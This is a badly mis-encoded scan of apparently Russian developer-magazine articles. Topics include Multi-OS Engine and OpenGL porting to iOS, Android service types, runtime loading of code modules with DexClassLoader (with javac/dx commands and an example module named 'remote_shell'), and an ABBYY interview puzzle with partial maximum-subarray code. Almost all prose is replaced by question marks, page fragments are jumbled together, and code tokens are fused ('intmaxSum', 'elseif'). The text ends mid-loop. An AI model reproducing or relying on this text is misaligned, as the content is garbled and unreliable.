???????? ?а???? ?аGLKView ???а??????????? ?????????? ????????. ??? ??
????? GLKView ???????????? ???а????????? ?а?????? ??????. GLKViewDelegate
????????????? ??????? ???а??????? ?????? GLKView, ???????, ?а???? ???????,
????????? ???????? ?аGLKView ???а???????? ??? ?????????. ????? ?????????
????????, ?????????? ??????????????? ??????? GLKTextureLoader. ?а??? ??????? ????? ????????? ????????? ??? ?????????? ????????. ????? ????????????? ???????? ???? ??????? ???????? glDeleteTextures(), ??????? ???????????? OpenGL.
???а??????????
???????????? ?????????? ??? Android ?а???????????? ???? ??? ??????? ??????
???а?????? ?а???????? ??? OpenGL
ES: GLSurfaceView ?аGLSurfaceView.
Renderer.
??????
????????????
???а?????????? ???????????, ??????? GLKViewController. ????? ???????????????
?????????????????
??????? ??????, ???? ??????? ??? ????????? ?а?????????? Renderer. ????? ???, ????? ???????? ???????????
???????? ??а??????? ?????????????,
???? ??????????? ??????????????
??????? (onTouchEvent). ?????????
GLSurfaceView.Renderer
??????????
??????, ??????????? ???а?????????
???????, ?????????????, ??????????? ?????? ??????????? ?? ?а????????? ??????, ??????? ?????????? ?а?????????? GLSurfaceView. ???а????????
???????? ?аAndroid-?????????? ????
??????? OpenGL ?а????????? iPhone
???????? ????????? ???, ???а?????
???????????? ??????????? ???????
OpenGL, ????? ???аglGenTextures, glBindTexture, glTexParameterf.
????????????????????, ??? ?????, ??? ??????? ??а????????????????
?????????? ????????а? ???????????? ?????? ShaderProgramBase. ?а???
??????????? ?????? glAttachShader, glLinkProgram, glLoadShader,
glDeleteShader ?а??????.
??????????
Multi-OS Engine ??????? ???? ?????? ???????????. ???? ??????, ???? ???????? ????????? ?????? ?а???????????, ?????????????? ????? ???????а?
?????????, ??а??????? ????? ????????????? ?????-????????????? ????????? ??????????. ?а??? ??????? ??????? ????????, ????????? ?а???????????
????????????????? ??????????, ??а????? ?????????, ??? ?а????????? ??????
???????????? ?? ????????.
????? ???? ?????????, ??? Multi-OS Engine ?????? ???????????
???аXamarin, ????????? ???????? ???????????? ??????????????: ??????????? ???? ????????????? ????? Java, ???????? ????? ?????????? Android
Studio, ??????? ?????? ?????????????? ????????? ?а???????????, ?а???????, ???????? ?????????? ???аAndroid-, ??? ?аiOS-??????????.
??????? ?????????? ????? ?????????? ??????????? ??????????????? ?а?????? ?а?????? ?????????.
?а?????? ???????? ??????? ???????? ????? ???????????? ?????????? ?????????????? SDK. Android Studio ???????? ????????? ?????????. ????? Android
Studio ????????? ???????? ??????????? Gradle.
Migeran Analyzer
????? ??????, ????????? ???? Android-?????????? ?????????? ??аiOS, ?????????? ??????????????? ???????? Migeran Analyzer. ?? ??????????, ??????
???? ????? ??????????????????, ?а??? ????? ??????? ???? email, ?а?а???????
????? ?????? ????????????? APK-????. ????? ????????????????? ?????
???? ??а???? ?????? ?????? ??а??????? ??а????????, ??? ?а?????????? ??????????? ??????? ??????????? ????? ?а?????, ??????? ???????? ???????????
???????, ?????? ??? UI.
????????? ???????
?????????? ?а??????
????????? ????? ??????? ?????????? ???аiOS ????? ???????? ??????, ??????????????? Intel. ???а????? ?аAndroid Studio ?????? Run Edit Configuration.
?а??????????? ???? ??а???????????? ??????, ????????????? ????? ???????
??а?????, ??????????? ?а????? ??????? ????, ?????? Multi-OS Engine Cloud
Build. ????? ??????? ????? ???????? ?а??????. ????? ??? ??????? ???? ?????? Register ?аLogin. ???а??????? ??а?????? ?? ?????? ????????? ??а???????? ????? Intel ???а???????? ??????? ??????а? ID ????????????. ????? ?????????, ?а???? ????????? ????????? ?????????? Android Studio ????? Login ?а(??
web-????????) ????? ??????????????? ??????. ?а?????????? ?а???? ?????????
??????????? email, ???а???????? ?????? ?????????????.
???? ???? ??????? ???? ?аProvisioning Profile. ??? ????? ??????? ?а??????? ??????? л?????? ??????╗ ??? ??а????? Apple. ???? ?а???? ???? ??????????
???а???????????? ??а???????? ???????, ????? ???? ?а???? ????: ?а????? ?????????? ???? лRun on╗ ????????? ?????????? ??? ???????? ???а????????????.
???а???????????? ??а?????????? ipa-???? ????? ?????????????? ?????
??аAndroid Studio (Build
Export IPA for Application).
?
?
?
?
?
?
?
?????? ?
?
??????
а???????
?
?
?
?
?
?
?
?
?
?
?
????????
2
?
?
?
?
?
,
ID
O
R
D
????? ???аAN
?????? ???????
mailforpahomov@gmail.com
?а??????????? ???? ???????? ?????? ?? ??????, ?????
??????? ?аAndroid ????? ???????????? ??????????????
?????? ?а????? ??? ????? ????????????. ??????? ????????? ?а????? ?????????? ??????????, ???а???????, ?а?????? ?? ???? ?а????????? ???? Android. ??????? ?а??????
????? ??????????? ????? ?????, ???????, ???? ?? ???
??а????? ??????? ????? л??????╗, ????? ?а???? ??????,
????? ???????!
???????
???????? Google ?а????? ?????? Application Fundamentals, ??????????
?а??????? Android-?????????????, ???????? ?????? ??????? ?????????? Android-??????????: Activity, Service, ?????????? ??????????? (Content
Providers) ?а????????? ????????????????? ????????? (BroadCast Recievers).
?аActivity ?????????? ?????????? ?а???????????, ?а????????? ???? ???????????
л?????╗ ????? ?????? (? ??? ??????????? ?а??? ????????), ??????? ??????
????????? ?а????????.
??????????? ????????? ????????? ???????? ?????????? ????????? ?????????, ?а??????, ??а?????????? ????????? ???????????????? ?? ????? ??????????? ????????????. ???? ?а??????? ??? ????????? ?????? ???а??????
??????????? ??????????, ?? ??а????????????? ????????? Activity, ???????
????????? ?а?????????? onStop ?аonPause, ?а?????? ?а???? ?а?? ?????????????? ??????.
????? ????????? ??? ??????????? ??????? ??????????? ??????????????
??????? ?????? UIа? Activity ??а?????? ????????? ????????, ?а??????, ????????? ??? ?????? ??а????? ???? ?????. ??????? ???????????? ??????????????
?????? ?аActivity ????????????? ?????? ?а??????, ???? ?????????? ??????????
??а?????, ??? ???????????? ???????????? ??а?????? ????,а? ?а????????? ?????? ????? ???? ???????? ?????????? ??? ??а????????? ??????????.
?а??? ??а?????? ???????? ???????! ??а???? ????, ??? ?? ?? ????? Activity,
??а???а??????????? ?????????. ????? ?????????? UI ??? ?????????????
???а?????????? ????????, ??????? ????? ?????? ????? ??????????? ???а??????? ????????????. ???????????? ??????, ?????? ?????? ???а??????-???????,
??????????????? ??????? ?????а? ??? ??? ?????? ???а????????.
?а???????? ?аAndroid ?????????? ???? ??????????? ????????? ????
(lifecycle), ??????? ???? ?а????????? ?????? Activity, ?, ??а??????????? ?а??????????? Activity, ??? ???????? ??????????? ????????? ?????. ??а??????
??????? ??????? ?????? ?а?????????? ?????????, ???? ???????????? ??????????? ?а????? ??????????? ???????? ????, ??????? ????? ?????? ??? ??????? ?а??? ????? ????? ?????????.
???. 1. ????????? ???? ???????? (c) Google
?аAndroid ??????? ????????? ?а??????? ?????? Service ??? ??? ??????????
IntentService. ???????? ??а?????? ????????, ?? ?????????????? ???????????
?а?????????????? ???????? ??????????.
INTENTSERVICE
???????? ??????? ?????? ??????? ???? ??????а? ??? ??????????????? ???????
IntentService. ????????? ?а??? ??????? ?????? ?????????? ?а????? ??????, ???????? ??? ??????????? ????????, ????? ???? ????? ?????????? ????????.
?а????????, ????? ?????????? ?а??????????? ???????. ???? ????? ????????? ????????? ?а??? ?????-?? ???????????? ?????? ?а??а???????? ???? ??????,
??????????? ??? ??? ???,а? ?а??? ???а??? ???????? IntentService.
???????? ???????? ??????????? ?а?????? onHandleIntent(), ??????? ?????
???????? ???????? ????? ????? ?????? ???????. ????? ?????????? ??????
????? ?????? ?????? ????? ?????????? ????????, ?а??????? ???????????.
???????? ??????, ???а?а?????? ?????? ???????, ?????????? ????? ??? ????????? ???????? ????????? (Intent).
????? ??????, ???а?аActivity, ?????????? ???????????????? ?а????????-?????, ????? ??а?а??? ??а?????? ?а?? ?????? ??а????? ???????.
??? ??????! ????? ?????????? ?????? startService ?а?????????? ?????????? ???????? ????? ?????, ??????? ???????? ??????????? ????????, ??а???????? UI. ??а???????? ?????????? ???????? ?а???? ??????:
? ??????????? ????? ????? ?а??????? ???????. ????? ?????? ?????? ???????? ???? ????? ??????, ?а??????? ?????????? ?????????? ??????? ?аActivity
????? ?????? ?а??????? ????????????????? ?????????.
? IntentService ???????? ???а?????????? ??????, ??????? ????????, ????????? ??? ??????????? ??а????????? ????????? ????????? ????? ????????????.
???? IntentService ??? ???-?? ?????, ?? ???а????????? ??????? ??????? ?????
???????????? ??????? ?а?????????? ????? ????????? ???????????????.
? ?
???????, ??????????? ?аIntentService, ??а????? ???? ????????, ?а??????,
?????? ????? ?????? ?а?????? ??а??? ???, ???? ??а?????????? ??? ????????,
?????????? ?а?????? onHandleIntent.
SERVICE
?а?????? ??????? ????? ????????????? ?а?????????? :). ? ??????????? ?????
???????? ?а??????????а? IntentService, ????????? ?? ????????? ????? ?а????????????: ?????? ????, ???????? ????? ?а?????? ?????????. ?ал????????????╗ ?? Service ??? ???????, ??? ??????? ????????.
?а?????? Services, ??? ???????????? Google ???????????? ?а????? ??????,
?? ?????? ???????????, ??????? ????????? ????????? ?????????? ????????
?а????. ???????? ??????????, ??????????? ???????? ??????? ????? ?? ???????? ???????? ?а?????????? ?а???????? ?????. ??а??а??? ??? ??????а? ?а???????, ?????? Stack Overflow ??????? ????????? ????? л?????? ??? ???????
????????? ?????? ANR-??????????╗.
???. 2. ????? 60 ????? ???????? ??а???????? ?аAndroid
???????????, ?????????? ?????? ?????? Service ??а??????? ???а???? ????? ?????, ?а??????????? ???, ??? ??? ????????????????! ???????, ??????
?аMainActivity ????? ??????, ??????????? ???????? ?????? ???????? UI. ????? ????? ????????, ?????????? ?????? ??????? ?????????????? ????????????
?????? (AsyncTask, Loader ?а??? ?????а? ??????? ?????) ?а???????? ???????????????? ?????????? ?а???.
??????, ????????? ?а??????? ???????????? ??????, ????????? ??? ?????
?а??? ????????? ???????????????. ??? ??????????, ??????????? ?????? ???????????????? ?????????? ??????, ???????? ????????? ????? ??? ?????? ??а???.
??????? л?????╗ ???????????, ??? ?аAndroid ?????????? ????? ????????
???????, ??????? ?? ???????? ???????????????? ?????? ??????? ??????.
????? ?? ??а????????????? ???? ???????? ??а??????????????????а? ?????
??????????? ???????????????, ???? ??а??????. ?????? ?????????, ???а?а??????? ??????? ????? ????????? ????? ?????????? ???????? ??????????.
????????? ??????? ????? ?????? ????? ?????????????? ????????? ?????
??????, ?? ????? ????????? ??????, ??????? ????? ???????????? ???????????? ??????????? ????????? ????? ??????.
?????????? ????????? ??? ??????? ??????? ??????????а? ??? ?? ??????
??????? ??а??????? ??????????. ??а??????? ?????? ???????????? ??а?????,
??а?????????? ????? ??????? ?????? ????? ThreadPoolExecutor. ?? ?????????????? ?????????? ?????? ??а?????????, ?а?а?????? ????????????? ?????
?????? ?????? ??????? ?а???????.
????????? ????? ?????? ????? ?а??????? ??????? Handler ?аLooper, ??????? ??? ??? ??????? ??а?????? ????? ??????.
??а????????? ?????? ????? ?а?????? ??????????? ??? Activity. ??? ???
??а????? ??????????, ??????? ?а?????? OnCreate ????? ???????? ????? ?????.
?????? ?????? ??????? ??аActivity ?а????? ???? ????? ??????. ???????? ??????
???????????? ??????? ?????????? ?а?????? onStartCommand, ??????? ?????
??????????? ?????? ??? ???а?????? ?????? startService.
?????? ?????? ?????????? ?а???????????? ??????????, ??????? ???????????? ????? ?????? startService ??а?????????? ?????????? ???????, ?а?????? ??????? ??????? ??а??????? ???а????. ?а???? IntentService ?????? ????????
??? ??????? ???????????????, ???? ??а??????, ?? ????????? ?????? Service
?а??? ?????????? ??????????? ????????? ??? ?????? ???????????? ?а??????????? ???????. ?????????? ?а?????? onStartCommand ????????? ????? ??????
???а?????? ??????.
????????? ???????
??????, ????????? ?а??????? ???????????? ??????, ????? ????, ???? ???
????????????? ??а?????????. ??????? ??? ????? ???? ??????-?? ??????? ??????? stopService, ?а????????? ???????, ??????? ?? ??? ???????, ???? ?????? ?????? ??????? ??????? stopSelf.
???а??????, ??? ?????? ??? ??? ??????, ???????? ???? ?? ????????? ?????
??? ????? ????????? ?????? ?а???? ??? ??????? ???????? startId ?а??????
onstartcommandа? ??? ?????????? ????? ??????? ?????? ???????, ???????
????????????? ??а??????? ???а?????? ???????.
?????? ????? ?????, ??????? ????????? ??? ??????? stopSelf, ????????
startId ?а???????? ?????????.
?а????? ?????????? ??а??а????? ????? ????????? ??????, ?а??????? ?????????? ????????????? ?а???, ??????? ??? ????? ???а????????? ???????
onStartCommand. ???? ??? ??а?????, ??????, ?а??????? ???? ????????? ?????
?????? ?а?????? ?????????? ??а?????.
????????? ???????????
??????а? ?????? ????????? ??????????, ?а??а???????????? ??? ?????? ????? ???????? ???????????? ????? ??????????. ?????? ???????, ???? ????
??а?а????????? ???????? ?????? ??а??????, ???? ??????????? ??? ?????????
??????, ???а?????? ???????? ????????? ???????.
????? onStartCommand ?????????? ??????????, ??????????? ??,
???а??????? ????????? ?а????????, ???? ?? ??? ????????????? ??????????.
?а???????, ????????????? ??а????? ?????????? ???? ?????, ?а?????? Service
???? ?? ????????????? ???????????.
?????????? ??? ???????? ????, ???а??а????? ????????? ?а????????, ????
?? ??? ????????????? ????????.
START_NOT_STICKYа? ??а????? ??????????? ????????, ?а??? ?????????
???, ???а????. ???????? ???а??????, ????? ?? ????????? ??а????? ?????? ??????, ?а?????????? ????? ????? ???а????????????? ?????????????? ??? ?????????????.
START_STICKYа? ????? ??????? ??????, ??а?аIntent, ??????? ??а???????
???а??? ???????, ??а????? ??????? ??????????. ????? ??????? ???????? ?а?????????????а? ?? ?????? ???? ???????? ?а????, ??а??а??????????? ???а????
????????????? ???????? ??????????? ?????.
START_REDELIVER_INTENTа? ?????? ????? ??????? ?а???? ?? ???????????, ??????? ???? ???а??? ????????? ??????. ??? ??????, ????? ?а???? ??????????? ??????? ???? ?а??? ???????? ???? ????????.
BOUND SERVICE
?????? ?????? ?????????? ????????? ??????? ????? ???????? ??????,
?а????? ????????? ??? ???????????? ?????????? ??????????. ?а???????, ???
????? ???? ???????? ??а???? ???????? XML-????? ?а??????????? ?????????
??????. ???????, ????? ???-?? ?????????? ??????????, ?а????? ???а????????????? ?? ?????? ??????????. ??а???? ??????? ???????а? ??????? ??????, ??????? ???????? ??????????? ???????, ??????? ?????? ???? ???????? ?а???????? ???? ??????.
????????? ???????? ?? ????? ???????????? ??? ?????????? ??????????, ??а??а????? ???????????а? ?????????, ????? ?????? ??????? ??? ??????
??а??????????? ?а??? ????? ??????????. ??? ???????? ???????? ??????, ?????? ??????????? (bound) serviceа? ??? ??????, ??????? ????? ???????? ??а???
???, ???? ?а???? ???????? ???? ?? ???? Activity ??? ?????? ??????. ?а??????
???? л????????╗ ?а?????? ??????? ???, ?? ????????????? ???????????????,
??а???а????????????? ????? ???? ????? ???????.
??????????? ?????? ????????? ?а??????? ???? ?? ?????? Service, ??а?????? ?????????? ???????????????? ????? OnBound.
IBinderа? ??? ?????????, ??????????? ???????????? ????? ????? ????? ?????????? ????????, ???????????????? ?????? ?????? ????????. ???а???
????????????? ??а????? ?????????????? ??????????? ???? ?????????, ?????????? ??????? ?????? ?????? Binder. ?????? ??? ???????? ??????? ?????
?????????????? ?????? ??а?????????? ?????? ?аActivity.
????? Activity ????? ???????????? ?а???????, ???????????? Google ???????
????? ServiceConnection, ???????? ?????? ????????а? ?????????????? ?????????????? Activity ?а???????, ?а????? ???????, ????? ????????? ???????????
???????? ?????????.
???а?????? ????? ????????? ?????????? ?????????????? ??????, ?????????? ??а??????????? ?а??????? ?а?????????? ??а????.
???а???????? ??????????? ?а??????? ?а?????? Activity ?????????? ?????????
???????, ?а???????? ????????? ???????????. ??????????? ????????? ??????????? ?а??????? ????? ?????? ??????????.
????????? ??????????? ?а??????? ?а?????????? ??а???? ????????????? ????????? ?а??????? onStart ?аonStop. ??? ???????, ????????? ????????? ???????/????????? ??????? ?а??????????? ?а???? ?????????? ???????????????
?а??а?????? ??????????? ??????? ?????.
???а????????? ?????? ?а??????? ?????????? ?????????? ?а???? ????? ??? ?????????, ?????????? ????????? ServiceConnection.
?????? ??????, ????????????? ???????? ???????????? ?????-?? ??????????
????????. ?????? ?????????, ??? ????? getData ????? ??????????? ?????????? ????? ?а????????? ?????????? ??а???????? ?????????.
?а???? ?????? ????? ???????? ?????? ??????? ?а?????????????? ???????, ???????? ?а??????? ??? ????????? ??? AsyncTask ?а?????? ??????.
??а??? ??? ???? ?????? ???????? ?а??????-???? Activity, ??? ?????? ????? ???????????, ?а??????, ??? ?????? ??????????????? ?а?????? ?????????? ??????????. ?а???? ?а???? ???? ??????????? ????????а? ?????????? ???? ???
????????? ?а?????????? ??????, ?а????? ??????? ?????????? ?????? ????? ???????? ????????? ????????? ??????????.
FOREGROUND SERVICE
?а????????? ??????? ?????????? ??????? ?????????? ?????? ??????, ???????
????? ???????? ??а??????? ?????? ?????? ?а??????????? ??????????. ??????
?????? ????????? ???????? ?????????? ??? GPS-??????. ??? ????? ????????
??????, ???? ????? ????????? ?? ?????????? ????? ?????????, ?а??а???? ?????? ?????????? ??а?????? ????????? ?? ??а??????. ???? ???????????? ?????
????????? ????? ?????? Taylor Swift, ?? ????? ?а????????? ?????????? ??????
?????? ?а???? ???????а? ???-?? ?????? ?????? л????╗ ??? ?а?????????? ?????
???????????.
??? ??? ?????????? ?????? ????????? ????? (foreground service), ?а???
????? ??????? ???а??а?????? Service, ??? ?а??а?????? IntentService. ??а???? ????????? ???????: ?а?????? ??????????? ??а?????????? ???? ?????? ???????
?????? ???? ??????????????? ??????????.
???????? ?????? ???? ??????, ????????????? ??????. ?а???? ??? ??????? ??????????? Android-????? MediaPlayer, ??????? ?????? ????????? ?а???,
????? ??????? ???? ?а?????????? ??????????? ??? ??а?????. ?а?????????,
???а????? ??????? ????? ????? ???????? ?????? ??????????а? ??????????
MediaPlayer ????? ?????????? ?а??????????? ??а??????? ??????????, ???????
?????????? ????? ???????? ???????????.
??????? ??????????? Service ?????, ??????? ????????? ?????????
MediaPlayer.onPreparedListener.
????? ???????, ???а??????, ?????????? ????? Intent, ??? ?????????????? ????? ????? ???????? ????? ??? ?????????.
????? ????? ????? ?????? ?а????????????, ?а??????? ????????? ?????
onPrepared ??а???????????? ??????????.
?а?????? OnStartCommand ????? ???????????????
??????????? ????? ?, ????? ???????, ?????????????? ??????, ??????? ????? ????????????????? ??а?????? ??????????? ?а??????? ???? ??????
???????. ??? ????? ?????????? ??????? ???????????, ????????? ?а??????? ?????? Notification.
???. 3. ???????????
??????????? ??а???????????? ???????
?????? ?????, ?????????? ??????? ?????? ??а????????? ??????????? ?а??????? ?аActivity ??????????, ??? ????? ????? ???????? ??????. ?а???? ????????? PendingIntent, ????????? ??????? ????? ????.
?????? ????? ??????? ?????????????? ???? ?а???????????. ?а????? ?????????? ?а?????????? ??????? ??????????? ??????? startForeground ?а????????? ??????????? ??????????????.
??? ?? ????????
????, ??а??? ?????? ?? ?а????? ???????? ???????? ?????????? ?а???, ??? ??
????? ?????????? ?????? ???аUI. ????? ?????? ?????? ???????????? ??, ???
?а??? ???? ???а???????? ??????????????? ?аAndroid.
??????, ????????? ?аActivity, ???????? ???а???????????? ????????????
????????, ????????? ??????? ????? ?????? ?а?????? ????? ??????????? Activity.
?? ????? ??????? ?а??????? AsyncTask, AsyncTaskLoader ??? ?? ????????а?
??? ??????? ??а????, ???а???? ????? ???????.
??????? ?????????? ?а?????????? ??а?????? ?????? ?аActivity, ??а??а??????
?а????????? ??????. ??? ????? ?????????????? ?????? ?а????????? ??????????
?????????? ?????? ?????, ???? ??а?????? ????? ???????? Activity. IntentService
???????? ???? ???, ????? ???????? ??? ??????, ?аService ????? ?????? ?а????.
???????? ???????, ????? ???? ????????????, ?? ????? ???????? ?????????
?а?????? UI ??? ????? ?а???а???? ?????? ?а??????, ??????? ???????.
??????????
???????, ??? ??????????????? ???? ??????? ??????????, ????? ?? ????? ?? ????????????? ?а??????????. ??? ?? ??? ??????????? ???????, ???,
Androidа? ????? ??????? ??, ??????? ????????? ???????????, ?а?????? ?а????
??????? ????????? ????????? ??? ?????? ????? ?????? ????. ?а????? ??????,
???????а? ???а?????????? ????????, ?а??а??, ???а??? ????????. ???? ????? ???????, ??????????? ??? ????. ?????!
????????? ????????, ??????????? ?а??????
?????? ?а??????? ??????????? Android-??????????
?а???????? ??а??????????????
??????
??????
???а???????
?а??а??????
??????? ??????
androidstreet.net
????? ?????????? ?а??????????
???????? ???аANDROID. ????? 2
????? ?? ??????? ?а???????? ?а????????? ???????????, ?? ?а?????? ??????? ????? ?а???? ??????? ???????????????? ????. ?????? ????????? ?????? ????? ????
??а????? ??????? ???а?????????? ???????? ?а????????.
???????? ?????????? ????????? ????? ???? ???????
???????, ?? ?а??а?????? ????????, ?а??? ????????? ?????????? ?????? ?а????? ????????????????? ??а????а? ???
??????????. ?а???? ??????? ???????? ????????????????
?а?????? ?а??????? ?? ????? ????? ????????, ?? ????? ???????? ?????????? ????? ?????????.
?????? ????????
?а???????????? Java ???? ????? ??? ????????? java.lang.ClassLoader. ???
??????а? ????????? ????-??? ?????????? ?????? (???? ?а??????????? .class)
?а??????????? ?????? ?? ????? ?????????? ??????????. ????? ????? ??????? ?????? ????? ?????? ?а???????? ??? ?????? ?а??????? ?????????. ????? ??? ?????? ???????????? ???????? ????, ??????? ????? ????????????
???а????????? ?????????? ?а??????????? ?????????????????, ???, ???????? ??????, ?????????? ????????.
?аAndroid ??? ??????????? ?????? Java ?а??? ?????? ClassLoader, ??а????
??? ?????? DexClassLoader, ??????????? ????? ?? ?? ???????, ??а?а????????? ????-???? Dalvik (? ?????? .dex ?????? .class ??????????????). ?, ?а??????? ??а?????????? Java, ??? ????? ???????? ?????? jar-???? ?аCLASSPATH
?а??а???????? ?а???????????? ?????????, ?аAndroid ????? ?????? ???? ????????????? ????? ???????????, ??????? ??а??????? ?а???, ??? ???????????????? ?????????? ????? ????????? ?а????????? ????????? ???а????????????
?а??а?а??? ??? ??а?????????. ?а????? ?????? ???? ?????????? ????? ???????
???? ?а??????? ?а???????, ?????????, ?а????? ??????? ????.
????? ?????, ?????? ????? ??????? ????? ?а?????? APK ?а????????? ??
????? ?????? ??????????. ?????? ????? ?а???, ??? ??? ??????????? ???????
????? ??????? ??а???? ?????? ?????????? ?а?????????? ?аAPK л?? ??а??????╗;
??????????? ???? apktool, ???????? ??? ????? ???????????? ?????????, ??
?????? ??а??????. ?а?????? ???????, ??? ?????? ?????? ??а??????, ??? ???а?????????? ???????? ?????? ???????, ??? ?а????.
???а?? ??? ??а????, ???????????? ???????? ???????а? ????? ???????? ????? ???а????????? ??а?????? л?????╗ ??????????, ??????? ?????
security-?????????? ?????? ?????, ???а???? ???????? ???????? ?а???а?? ???????????? ?а???????.
?????????? ??????
????? ??? ?????????? ????? ???? ????? ??????, ????? ??????? ?????? ???????? ?????????? ???????:
?а????? ????? ??? ??????: ??? ????????? jar-????? /sdcard/myapp/module.
jar ?а????? ???????, ????????? ??а???? ????? com.example.modules.simple.
Module, ??????? ?????? ?а???????? ????? run(). ?????? ???????? ??а??? ???????:
? D
exClassLoader ????? ????????? ???ал??????╗ ????? .dex, ??? ?аjar-??????,
????????? ???????????????? ??-?? ?????? ?а??????????? ????????????
???????? ???????;
? ?
????? ???????? ???????????? DexClassLoaderа? ??? ???????, ??????? ??
?????????? ???а?????????? ????????????????? ????-???? (odex), ???а???????? ?? ????????? ????????? ??????? ?????? ??????????;
? ?
???????? ????????? ?????? loadClass ?????? ?????????? ????????? ?????
?????? ?????? ?а?????? ??????.
????? ????????? ?????? ??? ??а?????????????????, ???????? ??????????
??????:
??а???????? ????????? ????? ?????? ?аAndroid Studio, ?????? ???????? ????
??? ?а???????? ?а??????? ??? ?аjar-????? ????? ??а????????? ??????:
javac -classpath /????/??/SDK/platforms/android-23/android.jar
Module.java
/????/??/SDK/build-tools/23.0.3/dx --dex --output=module.jar
Module.class
????????????, ??? ???????? platforms/android-23 ?аbuild-tools/23.0.3
??????????, ?а????? ?????? ?? ????? ????? ??????????.
???? ??? ??????? ??????, ??а?????? ?? ???????? ???? module.jar. ????????? ?????? ???????? ??? ?????????? ?а??????????, ???????? module.jar
??а????? ??????, ??????? ?а????????? ??????????.
????? ?????????
?????????а? ??????? ?????, ??а?а?????? ?????? ??? ?????? ??????. ???? ????? ???а?????????? ?а?? ??????? ??????? ????????, ??????, ???? ?? ?????,
????? ???? ?????????? ????? ???????? API ??????? ?а?????????? ???????,
??????????? ????????? ??????????, ????? ????????? ???-?? ????? ???????.
????????, ???????????? ??????? ???????????? ?????????, ??????? ?????
????????????? ?????? ??????.
???????? ????? ?????? ?а???????????? ???? ???????, ?? ??????? ????????? ??? ?????:
1. ???? ModuleInterface.java ?а????????? API:
2. ???? Module.java ?а??????????? ?????? ??????:
3. ????? ????????? ?????? (??????? ?а???? ??????????):
??? ???. ?????? ?? ????? ???????? ?а???????, ???а?а??????? ????????. ????? ????, ??????? ???? ????????? ?????? (??????), ????????????? ?а???????????, ??? ??а????? ????????, ??????? ??? ??а???????? ?????????? ?????????, ?а???? ?? ?а?????? ?????? ??? ?????.
????? ??????? ?????
?а????? ??????? ???????????, ??а???, ???? ?? ????? ?????? ???а????? ????
???? ??????? ?а??а?????????? ????? ???? ??а????? ???? ??? ??????а? ???а????? ????? ???????????? hashmap. ??? ??? ??????? ?????????:
?????? ??? ????????? ??? jar-????? ??а?????????? ????????, ????????? ?? ?????? Module, ??????? ??а?? ?????? ??????? ?а???????? ?? ?а??????
modules. ?????? ???????? ??а????, ?????????????? ???а???????? ??????
?а?????????? ??????? ?а???????. ?? ????? ???а????????: ?????? ???? ?????
???????? ?????????????? ??????? ??????/?????? ?а??????, ?? ?????? ??????????, ??? ??? jar-????? ?????? ????? ???????????? ?а?????? ?????? ??а?????
com.example.modules.???_JAR_?????, ??? ??? ?? ????? ????? ?????? ?????
?????? ??????? ??????.
????????, ??????????? ????? ?????? ??????????? ?????? com.example.
modules.simple (??. ????????? package), ??????? ??? ?????????? ????????
?аjar-????? simple.jar (?????? --output=module.jar ??а--output=simple.
jar ?а??????? ??????). ????? ?????? ????? ??????? ????? ?????? (? ???????,
remote_shell), ?????? ???????? ?а??? ?????????? ?? ??????? package com.
example.modules.remote_shell.Module; ?а????????? ????????????????
????-??? ?аjar-????? remote_shell.jar.
??? jar-????? (??? ??????????) ???????????? ????? ?а???????? ?????
?а???????, ???????, ???? ??? ??????, ?????? ????? ????????? ??? ??????:
????????? ??????? ?а???????? ??????????
????? ?????? ?а?????
??а?????? ????? ?а??? ??? ???? ??????????, ????????? ????????? ?????????????? ?????????? ??????? ??а?????????? ???????? ?а?а????????? ????????
?а????. ???????? ??????????? ?а???, ???а?????????????? ??? ??????. ?????
????????? ???????а? ????????? ?? ?а???????, ????? ??? л?????╗ ?????? ???
??? ?а????, ?а????? ?????????? ??????? ????????? ????????? ???????, ?????
?????????? ?? ?а??????????. ????????????, ???а??????? ???, ? ??а????, ?????
??? ???????????, ?а??????? ???? ?????? ?? ??????? ?а????? ??????? ??????
??? ????? ??? ?????????? ???аAndroid.
??? ???? ???????а? ???????? ?????? ?а????? ?а???????????. ?а???? ?????? ??? ????? ????? ????? ?????? ?а??????????? ??????? ????? ????? ??????? ???????, ??? ??????? ??а??????? ?а??????? ?а????. ????? ?? ???? ????????, ?? ?????? ????????? ?????? ?а???????, ???? ??? ??????????.
????? ???????? ?????? ?аAPK, ?? ?????????? ????????? ?а??????? assets
?????? ??????? (? ????? ?????? ?аassets/modules), ?а????? ??????????? ??????????? ??????? ?а?????? ??? ???????. ?а???? ??? ????? ????????? ???????? ???:
??? ????? ??????. ??? ??????? ?????? ?????? ?????? ?а?????????? ???????? ?? ?а???????
/sdcard/myapp, ??а???????? ????? ?? ?????
????? ?????????? ?а??????? ??????????.
??????
??????? ?????????? ???аAndroid, ???????
?????? ????????? ???? ???? ?а?????????
???? ???????????????? ????????? ???а????????????, ???????? ?????, ?а????? ???? ?????
???????????? ????? ?????????? ?????? ?????? ?а???????? ???????. ???а???? ??? ??????? ?????? ???????????? ??а? ?????? ??????
????, ?????? ? ????? ?? ?????????, ??? ???
?????? ??а???????? ????? ?????????? ????????, ?а????? ?????? ????? ?????? ??а??? ??????, ??? ?????? ????-?? ?????? ??????, ??????? ???аAndroid ?а??? ??? ??????? ?????.
???????? ?????? ?аAPK-?????
??????
????????? ?????????
lozovsky@glc.ru
??????
??а??????????????
?????? ??а?????? ??а???????? ABBYY
?а??????????? ??????????
??????????!
??????? ???????? (darkaha@mail.ru) ??????? ??????,
???????????? ????? ?????? ?????????? ??????????
???????? ABBYY, ??а??? ?а??? ????????? ???????????? ??аFineReader. ????? ???!
?????????? ??????
?????? 1
??? ?????? ??а????? ?????. ????? ????? m <= k, ????? ????? a[m] +
a[m+1] + ...+ a[k] ???? ???????????. ????? ?????? ?????? ???? ??????? ????? ???????.
???????
???? ?????????: ???? ?????? ????????????? ??????? ?а??????????????????. ???? ?????? ??а????????, ?? ???????? ????? ???????????? ???????. ????
????? ??????? ???????, ?? ???????, ??? ??????? ????? ?а???????????? ?????
????? ????????. ???????? ??а???????. ??а?????? ???? ??????????? ???????
????? ??а??????? ???????. ???? ??????? ????? ????????? ?????????????а?
???????? ??. ?????????, ???? ???????? ??????? ????? ??????????? ??????
????????????, ?? ???????????? ????? ??????????? ???????.
???? ??а??????? ??????:
// ????? ???????, ??? ??????, ?а??????? ???? ?????????,
// ????????? ???аarray. ??? ?????? ?? ????????? ???аarraySize
intmaxSum = array[0];
intmaxStartIdx = 0;
intmaxEndIdx = 0;
intcurrentSum = 0;
intcurrentStartIdx = 0;
for(int i = 0; i <arraySize; i++ ) {
currentSum += array[i];
if(currentSum>maxSum ) {
maxSum = currentSum;
maxStartIdx = currentStartIdx;
maxEndIdx = i;
} elseif(currentSum< 0 ) {
currentSum = 0;
